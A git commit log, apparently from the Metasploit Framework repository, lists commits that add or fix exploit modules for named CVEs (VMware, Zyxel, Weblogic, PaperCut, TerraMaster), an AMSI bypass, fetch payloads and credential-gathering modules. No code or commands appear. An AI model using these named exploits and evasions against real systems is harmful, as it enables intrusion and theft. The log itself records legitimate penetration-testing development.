bwatters cabae172f9 Remove superfluous setup_handler 2023-06-13 16:03:55 -05:00
bwatters 548d7e76a8 Fix accidental diff 2023-06-13 16:01:58 -05:00
Metasploit 9f276bd727 automatic module_metadata_base.json update 2023-06-13 15:57:29 -05:00
bwatters 38f542174d Land #17336, A more robust implementation for Windows version comparisons
Merge branch 'land-17336' into upstream-master
2023-06-13 15:38:56 -05:00
Steve Campbell 37bc9cd5a4 Update symmetricom_syncserver_rce.rb
Updated info to add allowed SRVPORT and LPORT, and fixed issue with srvport variable not used.
2023-06-13 16:22:08 -04:00
Metasploit 401820ddfb automatic module_metadata_base.json update 2023-06-13 14:50:28 -05:00
space-r7 091ee36b44 Land #18086, add TerraMaster cmd injection 2023-06-13 14:34:42 -05:00
space-r7 cbf7109c51 add rubocop fixes and some metadata 2023-06-13 13:44:23 -05:00
space-r7 0d85c9e380 add module documentation 2023-06-13 13:14:51 -05:00
Spencer McIntyre c41483250f Fix an edge case in .to_win32pe
When the entry point is after the payload, there woud occassionally be
cases where `poff` and `eidx` to be invalid, causing `entry` to be
truncated. `poff` should never be negative and `eidx` should reserve the
256 bytes that `entry` may occupy.
2023-06-13 13:41:47 -04:00
bwatters 1af9660296 Add routable address type 2023-06-13 10:29:15 -05:00
bwatters 9e773b3f35 Fix issue with info command and IP address check 2023-06-13 10:16:07 -05:00
SinSinology fd5e4dfc39 VMWare vRealize Network Insight pre-authenticated RCE CVE-2023-20887
Technical details at
https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/
2023-06-13 15:16:11 +01:00
Metasploit 09ae3828d0 automatic module_metadata_base.json update 2023-06-13 09:02:42 -05:00
Jeffrey Martin fa33052cf8 Land #18090, Update the exported keytab table entries to sort by db insert id 2023-06-13 08:13:25 -05:00
Professor Araout 1fbfc8e4d4 Update lib/metasploit/framework/compiler/mingw.rb
Error in github review, replaced line 39 instead of 37-38-39   -> Fixed

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 15:04:00 +02:00
Professor Araout 0b320f6209 Update lib/metasploit/framework/compiler/mingw.rb
Review made by @adfoster-r7 and tested by @ARaout

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 14:59:22 +02:00
Professor Araout 9d315af25e Update lib/metasploit/framework/compiler/mingw.rb
Review made by @adfoster-r7 and tested by @ARaout

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 14:59:15 +02:00
Professor Araout cb105d8978 Update lib/metasploit/framework/compiler/mingw.rb
Review made by @adfoster-r7 and tested by @araout 

Works perfect

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 14:58:36 +02:00
adfoster-r7 7fe6b8f481 Update the exported keytab table entries to sort by db insert id 2023-06-13 09:14:06 +01:00
Ashley Donaldson 8d1e7a386c Rubocop and code review suggestions 2023-06-13 15:58:30 +10:00
shellchocolat 0761f8f729 [+] add masm output support 2023-06-13 06:55:16 +02:00
Metasploit 96ba121973 automatic module_metadata_base.json update 2023-06-12 18:17:41 -05:00
Jack Heysel f97ab80224 Land #17942, Improve AMSI bypass on new Windows
The script generated by the web_delivery module is blocked
by the Antimalware Scan Interface (AMSI) on newer versions
of windows. This PR allows the script to bypass AMSI.
2023-06-12 18:50:48 -04:00
Jack Heysel 14dc102e31 Bump rex-powershell to 0.1.98 2023-06-12 16:34:28 -04:00
Steve Campbell ed516faa93 Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Added link to CVE

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:34:24 -04:00
Steve Campbell 5b73c8fea1 Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Added CVE

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:33:57 -04:00
Steve Campbell 4e4d09862e Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Fixed misspelling

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:32:12 -04:00
Steve Campbell bc2fb0c919 Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Updated heading

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:31:21 -04:00
h00die-gr3y 4479d94658 Updates based on review comments from space-r7 and jvoisin 2023-06-12 19:28:08 +00:00
adfoster-r7 c8f942cc03 Land #17955, Golf a bit the php payload 2023-06-12 16:31:00 +01:00
h00die-gr3y 7cd3854208 Removed Webshell upload and updated documentation 2023-06-12 13:58:59 +00:00
Spencer McIntyre 834ad18d28 Land #18069, Handle LDAP UnbindRequest
Remote::JndiInjection: handle LDAP UnbindRequest
2023-06-12 09:53:38 -04:00
RageLtMan 668b72a4ca Rex::Proto::LDAP::Server handle LDAP UnbindRequest 2023-06-10 09:42:58 -04:00
RageLtMan ead8a99d79 AWS EC2 Enum: handle limits properly
Get all instances if limit is not set, improve output slightly.

Note: `inst.network_interfaces.select {|iface| iface.association}`
appears to have problems with multiple calls at run time - says
that the AWS SDK is trying to call `:[]` on `nil` but works in Pry.
2023-06-10 08:45:25 -04:00
Jeffrey Martin c33fe50bbb remove overzealous error handler
Update the error handling around the EC2 sdk to follow official documentation:
https://github.com/aws/aws-sdk-ruby/blob/a350a9cf9946aadd1292df6936aecd706c6ddd85/gems/aws-sdk-ec2/lib/aws-sdk-ec2.rb#L68-L72
2023-06-10 08:45:25 -04:00
Jeffrey Martin b1477a8616 add new notes metadata 2023-06-10 08:45:25 -04:00
RageLtMan afdcf76ef6 AWS EC2 enum: rubocop pass 2023-06-10 08:45:25 -04:00
RageLtMan a04b54486f AWS EC2 enum: parse tags 2023-06-10 08:45:25 -04:00
RageLtMan 00eed69b92 AWS EC2 enum: implement reporting 2023-06-10 08:45:25 -04:00
h00die-gr3y db8a49cc99 Updated documentation 2023-06-10 12:14:05 +00:00
h00die-gr3y 417c9fa591 init commit module and documentation 2023-06-10 09:42:32 +00:00
Metasploit 43003eefa8 automatic module_metadata_base.json update 2023-06-09 18:11:26 -05:00
space-r7 c9af514be4 Land #18063, add TerraMaster webshell upload 2023-06-09 17:55:32 -05:00
Spencer McIntyre c579c43b72 Update payloads_spec.rb for x86 fetch 2023-06-09 16:50:28 -04:00
Spencer McIntyre 0ba65b7393 Add the x86 fetch payloads 2023-06-09 16:47:45 -04:00
Metasploit fce6450a95 automatic module_metadata_base.json update 2023-06-09 14:18:50 -05:00
Spencer McIntyre 4c817ce1de Land #17946, CVE-2023-21839 - Oracle Weblogic RCE
CVE-2023-21839 - Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization
2023-06-09 14:55:43 -04:00
Grant Willcox 50dfde1f7a Land #18083, Update metasploit-payloads gem to 2.0.136 2023-06-09 12:47:37 -05:00
Metasploit 5dba72cf5e automatic module_metadata_base.json update 2023-06-09 12:46:16 -05:00
space-r7 c8609d7983 Land #18070, add TerraMaster chained exp module 2023-06-09 12:29:47 -05:00
Grant Willcox 694c1006e4 Add more IPv6 support in to the module 2023-06-09 12:24:35 -05:00
Spencer McIntyre eab324714d Update metasploit-payloads gem to 2.0.136
Includes changes from:
* rapid7/metasploit-payloads#656
2023-06-09 12:57:02 -04:00
adfoster-r7 7ab610c7bd Land #18058, Improve code navigation docs and add debugging page 2023-06-09 15:59:05 +01:00
Grant Willcox ae4e616c3b Update Navigating-And-Undstanding-Metasploits-Codebase to add new code navigation tools and debugging tools
Move debugging info into same file and make markdown match standards

Add more info on Pry debugging using Alan David Foster's explaination

Fix up broken URL links and format new URL links correctly

Fix up formatting and add information on Debug.gem supported commands
2023-06-09 09:17:46 -05:00
Spencer McIntyre 296a7afc86 Land #18076, Don't use length for freeing. 2023-06-09 10:10:29 -04:00
Spencer McIntyre 66d2477d62 Add some tests for NtdsCaSecurityExt 2023-06-09 09:27:35 -04:00
Metasploit caba471cfb automatic module_metadata_base.json update 2023-06-09 08:18:52 -05:00
Spencer McIntyre 1284cb39d0 Land #18016, CVE-2023-28771 - Zyxel Cmd Injection
CVE-2023-28771 - Zyxel Command Injection
2023-06-09 09:03:03 -04:00
sfewer-r7 27f5a789c9 rework the exploit to use the new MIPS64 fetch payload adapters. Removed the seperate command and dropper targets in favor of a single default target which can do both thanks to fetch payloads. Removed the redundant IO select() call which was bad copy pasta on my part. 2023-06-09 09:47:57 +01:00
Stephen Fewer a1528556e0 Merge branch 'rapid7:master' into CVE-2023-28771 2023-06-09 09:42:19 +01:00
Metasploit 31c65c8a35 automatic module_metadata_base.json update 2023-06-08 19:33:07 -05:00
bwatters 039f238dd4 Land #18068, Fix VBS stager in shell_to_meterpreter
Merge branch 'land-18068' into upstream-master
2023-06-08 19:16:54 -05:00
h00die-gr3y dfc366e022 Latest updates based on reviewers comments 2023-06-08 21:25:40 +00:00
h00die 3e538a34af review comments 2023-06-08 16:38:22 -04:00
Grant Willcox dce2965d3f Bump up dependency versions 2023-06-08 14:20:59 -05:00
Metasploit 4b082b997b automatic module_metadata_base.json update 2023-06-08 14:16:14 -05:00
Spencer McIntyre 238118e8b5 Update module docs to discuss KB5014754 changes 2023-06-08 15:10:35 -04:00
Spencer McIntyre 2acc014014 Fix AS-REQ with PKINIT and NTDS_CA_SECURITY_EXT 2023-06-08 15:10:35 -04:00
Spencer McIntyre 47835b57a7 Add the ALT_SID datastore option 2023-06-08 15:10:27 -04:00
Spencer McIntyre 5b5c29842c Land #18022, Add post/windows/manage/make_token
Add update_token to MSF + make_token post-ex module
2023-06-08 14:53:22 -04:00
Spencer McIntyre d8870d7876 Address msftidy_docs complaints 2023-06-08 14:52:57 -04:00
Metasploit 92cf562950 Bump version of framework to 6.3.21 2023-06-08 12:12:50 -05:00
Metasploit 55e67ac5cd automatic module_metadata_base.json update 2023-06-08 11:47:13 -05:00
Steve Campbell 229fc0c002 Added symmetricom_syncserver_rce.rb 2023-06-08 12:46:10 -04:00
Christophe De La Fuente c08f1971cc Land #18040, Fix Python's payload issue with Windows 2023-06-08 18:28:07 +02:00
Metasploit 601306b795 automatic module_metadata_base.json update 2023-06-08 08:56:26 -05:00
Grant Willcox a1e930397a Land #18072, Add CVE-2023-1133 - .NET Deserialization exploit for Delta Electronics InfraSuite Device Master 2023-06-08 08:42:07 -05:00
h00die-gr3y 0bcd930f61 Updated NAS model and version check 2023-06-08 09:12:45 +00:00
h00die-gr3y b3b0cb4ccf Updates based on space-r7 comments 2023-06-08 07:39:44 +00:00
Ashley Donaldson 717ceae45b Don't use length for freeing.
MSDN says this will never succeed - should always be zero.
2023-06-08 15:02:41 +10:00
manishkumarr1017 6030f75b1a fixing indentation for shell reverse tcp payload 2023-06-08 06:52:33 +05:30
manishkumarr1017 d454e23aa0 decoding bytes from all python payloads 2023-06-08 06:44:37 +05:30
space-r7 74dd134783 add options in scenarios output 2023-06-07 17:15:28 -05:00
Grant Willcox 4465582fee Add in link to archived version of the installer 2023-06-07 16:51:01 -05:00
Shelby Pace 3bc145c02c Update modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:42:01 -05:00
Shelby Pace 2738906f87 Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:44 -05:00
Shelby Pace 54649fb856 Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:37 -05:00
Shelby Pace 4377ff037a Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:28 -05:00
Shelby Pace 60c642bcd0 Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:19 -05:00
h00die e3bcc9ac08 rocketmq version scanner 2023-06-07 17:29:53 -04:00
Metasploit 72102de2f2 automatic module_metadata_base.json update 2023-06-07 15:06:56 -05:00
Grant Willcox 5b39eaafc1 Land #18074, Fix exception handling in gitlab_github_import_rce_cve_2022_2992 module 2023-06-07 14:52:21 -05:00
Metasploit dbc7a8cb61 automatic module_metadata_base.json update 2023-06-07 14:48:34 -05:00
Grant Willcox 23451260af Land #18064, Add support for beta and prerelease versions to grafana_plugin_traversal 2023-06-07 14:33:31 -05:00
Grant Willcox b923b0c8c3 Add in a typo fix 2023-06-07 11:34:00 -05:00
Grant Willcox ffbd690a33 Add in ability to support detecting preview versions 2023-06-07 11:25:51 -05:00
space-r7 8f6b421dc1 add non-capture group 2023-06-07 10:52:58 -05:00
Metasploit d3c662b42b automatic module_metadata_base.json update 2023-06-07 08:35:09 -05:00
Christophe De La Fuente 82c8b5418e Land #17936, PaperCutNG Authentication Bypass with RCE 2023-06-07 15:05:51 +02:00
Christophe De La Fuente 991b9604e5 Add options to the documentation 2023-06-07 15:05:12 +02:00
Metasploit aa1a014d89 automatic module_metadata_base.json update 2023-06-07 06:25:49 -05:00
Christophe De La Fuente f88cb3b847 Land #18039, gitlab file read CVE-2023-2825 2023-06-07 13:07:54 +02:00
h00die-gr3y 46fcdb76d5 Updates based on jvoisin comments 2023-06-07 08:27:55 +00:00
h00die 4950cb3424 review adjustments 2023-06-06 16:24:38 -04:00
space-r7 2fcd97f5ef close socket 2023-06-06 14:37:58 -05:00
space-r7 102a32c87b add SCREEN_EFFECTS and akb assessment 2023-06-06 14:12:21 -05:00
space-r7 3b53966caa add installation steps 2023-06-06 12:14:14 -05:00
Christophe De La Fuente 451735ad15 Fix exception handler & add doc 2023-06-06 17:43:22 +02:00
catatonicprime a03603d076 Documentation linting. 2023-06-06 15:35:20 +00:00
h00die-gr3y 2e34d69133 Added documentation 2023-06-06 12:18:59 +00:00
cgranleese-r7 18ddd72285 Update jenkins login scanner to work with newer versions 2023-06-06 11:54:55 +01:00
attl4s ec948b5c16 add documentation 2023-06-06 10:04:57 +02:00
attl4s a34c3cf055 linted - all offenses addressed 2023-06-06 09:07:57 +02:00
h00die-gr3y 3e6ae74886 init commit module 2023-06-06 07:07:36 +00:00
RageLtMan e6b1ae2af8 Remote::JndiInjection: handle LDAP UnbindRequest 2023-06-06 00:54:40 -04:00
space-r7 5f7ae883f8 add documentation 2023-06-05 17:38:58 -05:00
space-r7 a12b58df22 add cmdstager usage, description, and metadata 2023-06-05 17:38:27 -05:00
Ashley Donaldson 61539ac260 Fix VBS stager in shell_to_meterpreter. 2023-06-06 07:23:58 +10:00
Metasploit 80e14846fe automatic module_metadata_base.json update 2023-06-05 13:57:46 -05:00
Grant Willcox 0d094f8645 Land #17917, shell_to_meterpreter: Support using bind payloads with PAYLOAD_OVERRIDE 2023-06-05 13:36:30 -05:00
Grant Willcox d029b26b4f Land #18062, Created mixin to retrieve the architecture of the current shell. 2023-06-05 12:58:57 -05:00
h00die-gr3y 52745a96d7 Added documentation 2023-06-05 17:18:57 +00:00
Grant Willcox 94ef437f9f Add in YARD documentation 2023-06-05 12:10:10 -05:00
Grant Willcox 9574c79d36 Remove extra code 2023-06-05 12:07:27 -05:00
Metasploit 70d0b5eee6 automatic module_metadata_base.json update 2023-06-05 11:20:27 -05:00
Grant Willcox 6f2f51bdc3 Land #18066, refactor archer_c7_traversal as gather module 2023-06-05 10:57:50 -05:00
h00die-gr3y 00e39eb540 updated CMD stager order 2023-06-05 14:54:31 +00:00
Jeffrey Martin 4e91a4e93d refactor archer_c7_traversal as gather module
* Update modules landed as a scanner into a more appropriate category.
* Adds a check method based on TP-link default `TITLE` html.
* Rename module consistent with existing exploit.
2023-06-05 09:07:11 -05:00
ErikWynter ba3d6dc0f9 fix typo in print statement from original module 2023-06-05 16:21:00 +03:00
ErikWynter 12f59d54df print the full version to the console 2023-06-05 15:49:06 +03:00
ErikWynter c5ff96fdfe grafana_plugin_traversal bugfix 2023-06-05 15:40:27 +03:00
h00die-gr3y 07def1c9f0 init commit module 2023-06-05 11:19:42 +00:00
Ashley Donaldson 795980260b Created mixin to retrieve the architecture of the current shell.
Currently only supports Windows, but does work on Win2000 upwards.
2023-06-05 11:10:53 +10:00
space-r7 1c5f8e09c8 add check method and new options 2023-06-02 17:59:04 -05:00
h00die 8f3325bcf8 move gitlab_auth_subgroups to gahter instead of scanner 2023-06-02 18:06:44 -04:00
Grant Willcox 1a36b81ba0 Land #18057, Update metasploit-payloads gem to 2.0.135 2023-06-02 13:03:34 -05:00
Metasploit c9627a7274 automatic module_metadata_base.json update 2023-06-02 11:30:01 -05:00
Spencer McIntyre 734e0b099e Land #18018, Add in CVE-2023-29084
Add in CVE-2023-29084 - Zoho ManageEngine ADManager Plus ChangePasswordAction
Authenticated Command Injection
2023-06-02 12:14:43 -04:00
Metasploit 7a2505e6f8 automatic module_metadata_base.json update 2023-06-02 11:10:00 -05:00
bwatters 1e9d286c77 Land #18044, Add MIPS64 Linux Fetch Payloads
Merge branch 'land-18044' into upstream-master
2023-06-02 10:53:43 -05:00
Grant Willcox 7728e1e2fb Add in new library function for escaping PowerShell literals 2023-06-02 10:22:56 -05:00
Grant Willcox 617aff5a43 Fix up supported payloads and remove nonused parameter 2023-06-02 09:48:03 -05:00
Grant Willcox f7d2cdae56 Add in ability to restore settings n documentation changes.
Previously there was not the ability to restore the server proxy setting.
This updates the code to do so. Additionally this also updates the documentation
to note that Fetch payloads are incompatible with this module since they
use HTTP connections that will be impacted by this module changing the server's
HTTP proxy settings. There is no way around this.
2023-06-02 09:48:03 -05:00
Grant Willcox 965311d09e Fix documentation and fix bug in creating PARMS value 2023-06-02 09:48:02 -05:00
Grant Willcox 6e89f9b275 Address review comments 2023-06-02 09:48:02 -05:00
Grant Willcox 3ab4173d6c Fix up base64 encoder to properly quote strings - credit to @smcintyre-r7 for the fix 2023-06-02 09:48:02 -05:00
Grant Willcox 8577f21e52 Add in documentation and updated code 2023-06-02 09:48:01 -05:00
Grant Willcox 05bb3cd182 Update again 2023-06-02 09:48:01 -05:00
Grant Willcox c78a9bac1d Remove dropper target and try expand potential BadChars and limit payload size??? 2023-06-02 09:48:01 -05:00
Grant Willcox 6d066dc649 Add in initial copy of exploit 2023-06-02 09:47:49 -05:00
Spencer McIntyre 372f9cdcfc Update metasploit-payloads gem to 2.0.135
Includes changes from:
* rapid7/metasploit-payloads#648
* rapid7/metasploit-payloads#637
* rapid7/metasploit-payloads#646
* rapid7/metasploit-payloads#645
* rapid7/metasploit-payloads#643
* rapid7/metasploit-payloads#640
2023-06-02 09:49:57 -04:00
Metasploit 93614513ec automatic module_metadata_base.json update 2023-06-02 08:43:07 -05:00
Spencer McIntyre 8b641c4c97 Land #18055, Update aws_keys to run against linux
Update post/multi/gather/aws_keys to run against linux sessions
2023-06-02 09:28:13 -04:00
Spencer McIntyre a6f1be8efd Add new payloads to payloads_spec.rb 2023-06-02 09:07:18 -04:00
Metasploit 48b86c2578 automatic module_metadata_base.json update 2023-06-02 06:11:26 -05:00
Christophe De La Fuente 4661e9721e Land #18002, Added cmd useradd payload 2023-06-02 12:53:49 +02:00
manishkumarr1017 f8460dcdd2 PR Review changes for removing platform specific code 2023-06-02 14:50:46 +05:30
h00die da2e339ae8 review adjustments 2023-06-02 05:15:44 -04:00
space-r7 a66641da55 add delta electronics infrasuite deserialization 2023-06-01 17:57:57 -05:00
Grant Willcox 0f71613b66 Land #18056, Modify command stagers to not go over 100% 2023-06-01 16:06:13 -05:00
Metasploit 9b929dab14 automatic module_metadata_base.json update 2023-06-01 15:28:09 -05:00
Grant Willcox 7f7c5ea1f1 Land #17868, Improve check_host return code handling 2023-06-01 15:04:59 -05:00
Grant Willcox f6dc2c007a Fix up messages to more closely match check code messages and fix typos 2023-06-01 12:38:20 -05:00
adfoster-r7 c6816fceec Update post agther aws keys to run against linux 2023-06-01 18:19:11 +01:00
Ryuuuuu d535bb87ad Fix up logic to handle check_host return codes 2023-06-01 12:17:59 -05:00
Metasploit 25e8cf8faf Bump version of framework to 6.3.20 2023-06-01 12:10:08 -05:00
Zach Goldman 96f2c96a75 modify command stagers to not go over 100% 2023-06-01 12:07:07 -05:00
RadioLogic 4183cd444d Added unixcrypt to payload 2023-06-01 12:30:26 -04:00
Grant Willcox 068e0f5192 Land #18052, Fix broken file upload test on Windows sessions 2023-06-01 11:22:18 -05:00
Metasploit 2c987da8e1 automatic module_metadata_base.json update 2023-06-01 11:11:29 -05:00
Christophe De La Fuente 8ed981e575 Land #18003, Archer c7 traversal 2023-06-01 17:37:13 +02:00
Spencer McIntyre 8378435051 Land #17430, Add AWS SSM Sessions 2023-06-01 11:34:40 -04:00
RadioLogic c336f179d6 Gave rootmethod option better description
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-06-01 11:32:39 -04:00
RadioLogic d868d0ec14 Fixed double checking of sudoers
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-06-01 11:32:03 -04:00
adfoster-r7 4340245b14 Fix broken binary file upload test on windows sessions 2023-06-01 14:18:53 +01:00
adfoster-r7 46f7f8e7b0 Add module for running all post test modules 2023-06-01 11:51:33 +01:00
Ashley Donaldson 7f4bda193d Support retrieving Service Pack version on older OSes 2023-06-01 10:48:17 +10:00
Spencer McIntyre 9349dd24e3 Add a proper definition for NtdsCaSecurityExt 2023-05-31 17:31:33 -04:00
Grant Willcox 2a410e126d Land #18026, Fix non-deterministic test module load failures 2023-05-31 15:09:17 -05:00
h00die 1267d067b3 move gitlab_subgroup to gitlab_authenticated_subgroup 2023-05-31 15:29:00 -04:00
Grant Willcox ab12bee83e Fix single quote issue 2023-05-31 14:25:02 -05:00
catatonicprime 3875947f7d Removing unnecessary assignment 2023-05-31 19:17:30 +00:00
Metasploit d60f21df24 automatic module_metadata_base.json update 2023-05-31 12:49:42 -05:00
RadioLogic 0e477bdc9a Used unixcrypt to create encrypted password
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 13:47:29 -04:00
RadioLogic 2fab56f905 Made cachesize dynamic
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 13:46:05 -04:00
Grant Willcox 6756047f1f Land #18028, Add Apache NiFi login scanner module 2023-05-31 12:25:18 -05:00
Grant Willcox ccbdd7870e Update documentation 2023-05-31 11:57:42 -05:00
Catatonic Prime 6351c66b1e Update modules/exploits/multi/http/papercut_ng_auth_bypass.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 08:56:13 -07:00
Catatonic Prime 6ad9ebb5c0 Update modules/exploits/multi/http/papercut_ng_auth_bypass.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 08:48:53 -07:00
Grant Willcox 1fd2d41835 Fix typos and add dig for safe navigation 2023-05-31 10:34:10 -05:00
shellchocolat 1fbba702de add support to masm formatting 2023-05-31 17:17:17 +02:00
Ashley Donaldson 4b1158d5f1 Use existing shell registry logic 2023-05-31 11:24:33 +10:00
Grant Willcox cf9f9905e3 Fix more typos 2023-05-30 17:30:57 -05:00
Ashley Donaldson 778a2c47b7 Updated unit tests to use registry 2023-05-31 08:09:54 +10:00
Grant Willcox c0671c325a Touch up typos in documentation 2023-05-30 15:27:31 -05:00
Spencer McIntyre d7098aa06d Add MIPS64 fetch adapters 2023-05-30 15:03:06 -04:00
Spencer McIntyre 8a0dfa57a0 Drop size requirement and fix descriptions
The size requriement is used when the adapted payload is executed from
the command line but that's not the case for the fetch payloads which
execute a command to fetch the payload from a URL. The payload size
doesn't matter because it's included in the executable file hosted at
the URL.
2023-05-30 15:03:06 -04:00
catatonicprime 530ed911f4 Fixing ZDI ID 2023-05-30 19:03:01 +00:00
catatonicprime b376dac34b okay linter 2023-05-30 18:40:59 +00:00
catatonicprime cbf850b2b7 Apparently the comment after the rescue squelchs the linter. 2023-05-30 18:38:48 +00:00
Grant Willcox 3d63d0b097 Land #18030, Fix missing return in HTTP CmdStagers 2023-05-30 13:14:21 -05:00
Grant Willcox 42d4c73cda Land #18031, Improve help for "edit" and "log" commands 2023-05-30 11:43:21 -05:00
Metasploit 490a30aa4a automatic module_metadata_base.json update 2023-05-30 11:34:17 -05:00
Grant Willcox d194cf28eb Land #18032, Escape braces after all in cmd/brace encoder 2023-05-30 11:18:34 -05:00
Metasploit 4da004938f automatic module_metadata_base.json update 2023-05-30 10:27:30 -05:00
Grant Willcox 002c575ee1 Land #18036, Fix incorrect error handling in IBM sametime enumerate users module 2023-05-30 09:53:54 -05:00
Christophe De La Fuente ef89219715 Land #17899, Dolibarr 16 unauthenticated contact database dump 2023-05-30 16:41:28 +02:00
Christophe De La Fuente 7bde39ae73 Fixes from code review 2023-05-30 13:26:56 +02:00
adfoster-r7 e2718eb40c Land #18019, Fixes validation for to_handler command for Evasion and Payload modules 2023-05-30 10:39:01 +01:00
Ashley Donaldson 568e346d11 Support Windows 2000 by using ver command 2023-05-30 13:23:44 +10:00
Ashley Donaldson a94f78ec03 Use direct registry lookups to get version data, to cater for different language packs. 2023-05-30 12:21:12 +10:00
adfoster-r7 a5171ffa3a Land #18041, Minor fix in vsftpd_232.md docs 2023-05-29 23:59:54 +01:00
Metasploit d74b221df3 automatic module_metadata_base.json update 2023-05-29 17:02:08 -05:00
Jack Heysel b575f92d0a Minor fix in vsftpd docs 2023-05-29 17:55:36 -04:00
Jack Heysel 0b9aff0661 Land #18004, VSFTPD Dos Module
This PR adds a dos module for cve-2011-0762
which exploits the vsftpd server
2023-05-29 17:39:02 -04:00
jheysel-r7 1018ed1aaf Update documentation/modules/auxiliary/dos/ftp/vsftpd_232.md 2023-05-29 15:40:42 -04:00
Metasploit b9038bfbfb automatic module_metadata_base.json update 2023-05-29 11:48:51 -05:00
Jack Heysel fa6d168121 Land #18025, Apache NiFi version scanner module
This PR adds a verion scanner for Apache Nifi
2023-05-29 12:21:39 -04:00
manishkumarr1017 bebf8d4db8 changing payload structure of python's reverse_tcp for fixing windows bytes args is not allowed issue 2023-05-29 21:38:16 +05:30
h00die 5f308e0176 gitlab file read CVE-2023-2825 2023-05-29 00:55:02 -04:00
h00die 01359e77a7 gitlab file read CVE-2023-2825 2023-05-29 00:52:07 -04:00
h00die 0ccfa4af87 gitlab file read CVE-2023-2825 2023-05-29 00:48:15 -04:00
adfoster-r7 489421f6be Fix incorrect error handling in ibm sametime enumerate users 2023-05-28 00:29:17 +01:00
h00die cf2ca434a8 spelling 2023-05-26 15:53:16 -04:00
h00die 93479be5e6 review comments 2023-05-26 15:47:22 -04:00
RadioLogic 573eb4bda4 Merge branch 'master' into archer_c7_traversal 2023-05-26 01:48:43 -04:00
wvu f5bec517a0 Escape braces after all in cmd/brace encoder
Previously escaped only commas.
2023-05-25 23:46:18 -05:00
wvu 00451e3aec Improve help for "edit" and "log" commands
Talking about `LocalEditor` and `LocalPager`.
2023-05-25 23:22:54 -05:00
wvu 9528339761 Fix missing return in HTTP CmdStagers
Fetch payloads are cooler, but this was missed in https://github.com/rapid7/metasploit-framework/pull/13426.
2023-05-25 22:22:23 -05:00
RadioLogic 250a8768e3 Updated doc to appease msftidy 2023-05-25 21:28:19 -04:00
RadioLogic 61c4ba7503 Renamed module to correct name 2023-05-25 21:21:49 -04:00
RadioLogic 376ef7a8bc Made several fixes for msftidy 2023-05-25 21:16:07 -04:00
h00die 48207dd9f1 apache nifi login module 2023-05-25 16:57:32 -04:00
Jack Heysel d8255157c9 Land #18021, Fix #cd for Powershell Sessions 2023-05-25 14:26:01 -04:00
RadioLogic 72ef6537ef Added tested versions to description 2023-05-25 14:21:52 -04:00
RadioLogic cb8d86651d Added build setup for arch linux 2023-05-25 14:19:44 -04:00
RadioLogic b11b31c9ae Moved docker description into vulnerable application 2023-05-25 14:18:15 -04:00
RadioLogic 1d98cb0069 Added better description to documentation 2023-05-25 13:34:04 -04:00
Metasploit 8368b80ad6 Bump version of framework to 6.3.19 2023-05-25 12:05:49 -05:00
attl4s 217df628df fix getting the username + use Failure::BadConfig instead of NoTarget 2023-05-25 19:05:42 +02:00
attl4s 39b45694af Update datastore option USER -> USERNAME
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-05-25 18:55:49 +02:00
Jeffrey Martin 2879dcaf14 Land #18024, fix case-insensitive hash collisions 2023-05-25 10:42:39 -05:00
Zach Goldman 7215b88bad bump credential version 2023-05-25 10:38:39 -05:00
Ashley Donaldson 75ba9110e2 Added module for Windows version comparisons
Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection.
2023-05-25 14:36:46 +10:00
adfoster-r7 9f0032582a Fix non-deterministic test module load failures 2023-05-25 02:44:03 +01:00
h00die 7c2790513d apache nifi version scanner 2023-05-24 20:05:34 -04:00
Grant Willcox 7ca7c6aee1 Slight efficiency improvements 2023-05-24 17:36:39 -05:00
Grant Willcox e80987ea59 First round of updates from review 2023-05-24 13:17:49 -05:00
Grant Willcox e78cf054b8 Add in EITW notes 2023-05-24 13:17:49 -05:00
Grant Willcox 84961e6e09 Add in documentation 2023-05-24 13:17:49 -05:00
Grant Willcox 9e8d1ed2ea Add in Java class file, raw source code, and tidy up the module a bit 2023-05-24 13:17:48 -05:00
Grant Willcox 155319d479 Save work 2023-05-24 13:17:48 -05:00
Grant Willcox 3faf96aa9d Check return code on target server responses 2023-05-24 13:17:48 -05:00
